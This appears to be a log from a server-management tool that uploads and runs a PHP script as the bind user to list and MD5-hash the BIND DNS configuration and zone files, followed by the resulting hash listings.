MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:11:41: Establishing a connection
2026-04-21 14:11:41: 

PUT: /tmp/pkp287295

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:11:41: 

runuser -l bind -s /bin/bash -c '/tmp/pkp287295; rm /tmp/pkp287295'

2026-04-21 14:11:41: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 14:12:05: Establishing a connection
2026-04-21 14:12:06: 

PUT: /tmp/pkp487974

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 14:12:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp487974; rm /tmp/pkp487974'

2026-04-21 14:12:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
